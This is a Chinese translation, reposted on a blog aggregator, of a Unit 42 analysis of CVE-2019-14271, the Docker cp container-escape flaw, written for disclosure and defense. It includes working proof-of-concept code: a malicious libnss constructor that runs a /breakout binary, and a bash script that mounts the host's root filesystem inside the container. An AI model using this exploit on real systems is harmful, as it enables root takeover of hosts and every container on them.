宿主机进程挂载到容器内_迄今为止最严重的容器逃逸漏洞:Docker cp命令漏洞分析(CVE201914271)...
摘要
在過去幾年中,我們在各種容器平臺(包括Docker、Podman和Kubernetes)中發(fā)現(xiàn)了copy(cp)命令中存在多個漏洞。其中,迄今為止最嚴重的的一個漏洞是在今年7月被發(fā)現(xiàn)和披露的。然而,在該漏洞發(fā)布的當(dāng)時,并沒有立即引起太多關(guān)注,可能是由于CVE的描述不明確,并且缺少已經(jīng)發(fā)布的漏洞利用方式。
CVE-2019-14271是一個Docker cp命令實現(xiàn)中存在的安全問題,當(dāng)被攻擊者利用時,該問題可能導(dǎo)致容器的完全逃逸。自從今年二月發(fā)現(xiàn)了嚴重的runC漏洞以來,這是后續(xù)發(fā)現(xiàn)的首個完整容器逃逸漏洞。
如果容器已經(jīng)被先前的攻擊過程破壞(例如:借助其他任何漏洞、借助泄露的信息等),或者當(dāng)用戶從不受信任的來源(例如:注冊表等來源)運行惡意容器映像時,可以利用該漏洞。如果用戶隨后執(zhí)行存在漏洞的cp命令從受感染的容器中復(fù)制文件,那么攻擊者就可以實現(xiàn)逃逸,并完全控制主機和其中的所有其他容器。
CVE-2019-14271在Docker 19.33.1版本中已經(jīng)被標(biāo)記為關(guān)鍵漏洞,且目前已經(jīng)修復(fù)。在CVE-2019-14271漏洞修復(fù)后,我們對其進行了研究,并對該漏洞的第一個概念證明(PoC)進行了分析。
我和Ariel Zelivansky一直密切關(guān)注流行容器平臺上存在的漏洞,在近期發(fā)現(xiàn)其中的復(fù)制漏洞數(shù)量有明顯增長趨勢,因此,我們將在11月20日圣地亞哥的KubeCon+CloudNativeCon 2019上介紹我們的發(fā)現(xiàn)。我們將深入探討以前的漏洞、各種不同的漏洞實現(xiàn)以及導(dǎo)致這一相對簡單的命令難以實現(xiàn)的根本原因。此外,我們還將討論為解決此問題而編寫的一些新內(nèi)核功能。
Docker cp
Copy命令允許從容器復(fù)制文件、復(fù)制文件到容器以及在容器之間復(fù)制文件。其語法與標(biāo)準(zhǔn)Unix中的cp命令非常相似。要從容器中復(fù)制/var/logs,需要使用的語法為:docker cp container_name:/var/logs /some/host/path。
正如我們在下圖中所看到的,要將文件復(fù)制到容器外,Docker借助了一個名為docker-tar的幫助進程。
從容器中復(fù)制文件:
Docker-tar的工作原理是對文件進行chroot(如下圖所示),將請求的文件和目錄放在其中,然后將生成的tar文件傳遞回Docker守護程序,該守護程序負責(zé)將其提取到宿主機的目標(biāo)目錄中。
Docker-tar chroot進入容器:
之所以選擇chroot的方式,有一個主要原因是為了避免符號鏈接問題,當(dāng)主機進程嘗試訪問容器上的文件時,可能會產(chǎn)生符號鏈接的問題。在這些文件中,如果包含符號鏈接,那么可能會在無意中將其解析為主機根目錄。這就為攻擊者控制的容器敞開了大門,使得攻擊者可以嘗試讓docker cp在宿主機而非容器上讀取和寫入文件。在2018年,有幾個在Docker和Podman中發(fā)現(xiàn)的CVE漏洞是與符號鏈接相關(guān)的。通過進入到容器的根目錄,docker-tar能確保所有符號鏈接都在其目錄下被有效地解析。
但遺憾的是,在從容器中復(fù)制文件時,這樣“扎根到容器中”的過程為更嚴重的漏洞埋下了伏筆。
CVE-2019-14271漏洞分析
Docker是使用Golang語言編寫的。具體而言,易受攻擊的Docker版本是使用Go v1.11編譯而成的。在這個版本中,某些包含嵌入式C語言代碼(cgo)的軟件包在運行時動態(tài)加載共享庫。這些軟件包包括net和os/user,都會被docker-tar使用,它們會在運行時加載多個libnss_*.so庫。通常,這些庫會從宿主機的文件系統(tǒng)中加載,但是由于docker-tar會chroots到容器中,因此它會從容器文件系統(tǒng)中加載庫。這也就意味著,docker-tar將加載并執(zhí)行由容器發(fā)起和控制的代碼。
需要說明的是,除了被chroot到容器文件系統(tǒng)之外,docker-tar并沒有被容器化。它運行在宿主機的命名空間中,具有所有root能力,并且不會受到cgroups或seccomp的限制。
有一種可能的攻擊場景,是Docker用戶從以下任一用戶的位置復(fù)制一些文件:
(1)運行包含惡意libnss_*.so庫中惡意映像的容器;
(2)受到攻擊的容器,且攻擊者替換了其中的libnss_*.so庫。
在這兩種情況時,攻擊者都可以在宿主機上實現(xiàn)root權(quán)限的任意代碼執(zhí)行。
這里順便提一個有趣的事實,這個漏洞實際上是從GitHub問題中發(fā)現(xiàn)的。該用戶試圖從debian:buster-slim容器中復(fù)制文件,過程中發(fā)現(xiàn)docker cp反復(fù)多次出現(xiàn)失敗的情況。其問題在于,這個特定的映像中不包含libnss庫。因此,當(dāng)用戶運行docker cp,且docker-tar進程嘗試從容器文件系統(tǒng)加載它們時,會出現(xiàn)失敗并崩潰的情況。
漏洞利用
如果要利用CVE-2019-14271漏洞,需要構(gòu)建一個惡意的libnss庫。我們隨機選擇一個libnss_files.so,下載了這個庫的源代碼,并向其中一個源文件添加了函數(shù)run_at_link()。我還使用構(gòu)造函數(shù)屬性定義了該函數(shù)。構(gòu)造函數(shù)屬性(特定于GCC的語法)指示run_at_link函數(shù)在由進程加載時將作為我們所選擇這個庫的初始化函數(shù)執(zhí)行。這意味著,當(dāng)docker-tar進程動態(tài)加載我們的惡意庫時,將執(zhí)行run_at_link。下面是run_at_link的代碼,為簡潔起見有所裁剪。
#include ...
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void)
{
? ? ?char * argv_break[2];
? ? ?if (!is_priviliged())
? ? ? ? ? ?return;
? ? ?rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
? ? ?fprintf(log_fp, "switched back to the original libnss_file.so");
? ? ?if (!fork())
? ? ?{
? ? ? ? ? ?// Child runs breakout
? ? ? ? ? ?argv_break[0] = strdup("/breakout");
? ? ? ? ? ?argv_break[1] = NULL;
? ? ? ? ? ?execve("/breakout", argv_break, NULL);
? ? ?}
? ? ?else
? ? ? ? ? ?wait(NULL); // Wait for child
? ? ?return;
}
bool is_priviliged()
{
? ? ?FILE * proc_file = fopen("/proc/self/exe", "r");
? ? ?if (proc_file != NULL)
? ? ?{
? ? ? ? ? ?fclose(proc_file);
? ? ? ? ? ?return false; // can open so /proc exists, not privileged
? ? ?}
? ? ?return true; // we're running in the context of docker-tar
}
run_at_link首先驗證它是否在docker-tar上下文中運行,因為其他常規(guī)容器進程也可能會加載。該過程是通過檢查/proc目錄來實現(xiàn)的。如果run_at_link在docker-tar的上下文中運行,那么這個目錄將為空,因為/proc上的procfs掛載僅存在于容器掛載的命名空間中。
接下來,run_at_link將惡意的libnss庫替換為原始庫。這樣就可以確保利用該漏洞運行的所有后續(xù)進程都不會意外加載惡意版本并重新觸發(fā)run_at_link的執(zhí)行。
然后,為了簡化利用,run_at_link嘗試在容器中的/breakout路徑處運行可執(zhí)行文件。這將允許其他的漏洞利用可以以諸如bash的形式編寫,而不一定是C語言。這一過程中將其余的邏輯排除在外,也意味著我們不用針對漏洞利用中的每一處更改都重新編譯惡意庫,而是只需要修改breakout二進制文件即可。
在下面的漏洞利用視頻中,一個Docker用戶運行了一個包含我們的惡意libnss_files.so庫的惡意映像,然后嘗試從容器中復(fù)制一些日志。映像中的/breakout二進制文件是一個簡單的bash腳本,該腳本將宿主機上的文件系統(tǒng)掛載到容器的/host_fs處,同時還將一條消息寫入到宿主機的/evil中。
演示視頻:利用CVE-2019-14271突破Docker
https://unit42.paloaltonetworks.com/wp-content/uploads/2019/11/exploit_vid.mp4?_=1
以下是視頻中所使用的/breakout腳本的來源。為了獲得對宿主機root文件系統(tǒng)的引用,腳本在/proc掛載了procfs。由于docker-tar在主機的PID命名空間中運行,因此掛載的procfs將包含主機進程中的數(shù)據(jù)。然后,該腳本只需要掛載主機上PID為1的帳戶(root)。
#!/bin/bash
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
mount -t proc none /proc? ? ?# mount the host's procfs over /proc
cd /proc/1/root? ? ? ? ? ? ? # chdir to host's root
mount --bind . /host_fs? ? ? # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil
漏洞修復(fù)方法
在該漏洞的修復(fù)代碼中,修復(fù)了docker-tar的init函數(shù),該函數(shù)可以從存在問題的Go軟件包中調(diào)用任意函數(shù)。這將使得docker-tar在chroot到容器之前,從宿主機文件系統(tǒng)中加載libnss庫。
CVE-2019-14271修復(fù)方法:
總結(jié)
允許在宿主機上以root執(zhí)行代碼的漏洞非常嚴重。因此,業(yè)務(wù)方需確認已經(jīng)更新至Docker 19.03.1版本或更高版本,因為這些版本已經(jīng)包含了針對這一漏洞的修復(fù)。為了限制此類攻擊的攻擊面,我們強烈建議大家不要輕易運行不受信任的映像。
除此之外,在不一定需要使用root用戶的場景中,我們強烈建議以非root用戶身份來運行容器。這樣可以進一步提高其安全性,并能有效防范攻擊者利用容器引擎或內(nèi)核中可能存在的一些缺陷。針對這個CVE-2019-14271漏洞,如果我們的容器使用非root用戶運行,就能有效防范相應(yīng)攻擊。即使攻擊者成功攻破了我們的容器,他也無法覆蓋容器的libnss庫,因為這個庫僅有root具有權(quán)限,所以無法實現(xiàn)漏洞利用。如果大家還想對此有更深入的了解,建議閱讀Ariel Zelivansky的這篇文章,以明白以非root身份運行容器的安全優(yōu)勢。
除此之外,我們可以使用安全產(chǎn)品或安全服務(wù)來防范此類威脅:
(1)確保開發(fā)人員使用經(jīng)過驗證或經(jīng)過批準(zhǔn)的受信任映像。
(2)借助主機漏洞掃描工具,針對當(dāng)前環(huán)境中運行存在漏洞軟件包的容器發(fā)出告警,并檢測出當(dāng)前存在的CVE漏洞。這樣可以確保我們的容器不會運行存在漏洞的代碼,并能防范1-day攻擊。
(3)使用運行時安全產(chǎn)品,識別并阻止惡意行為者訪問并攻破我們的容器。
本文翻譯自:https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/
總結(jié)
以上是生活随笔為你收集整理的宿主机进程挂载到容器内_迄今为止最严重的容器逃逸漏洞:Docker cp命令漏洞分析(CVE201914271)...的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: oracle导出超链接,Oracle R
- 下一篇: android-x86 镜像iso下载_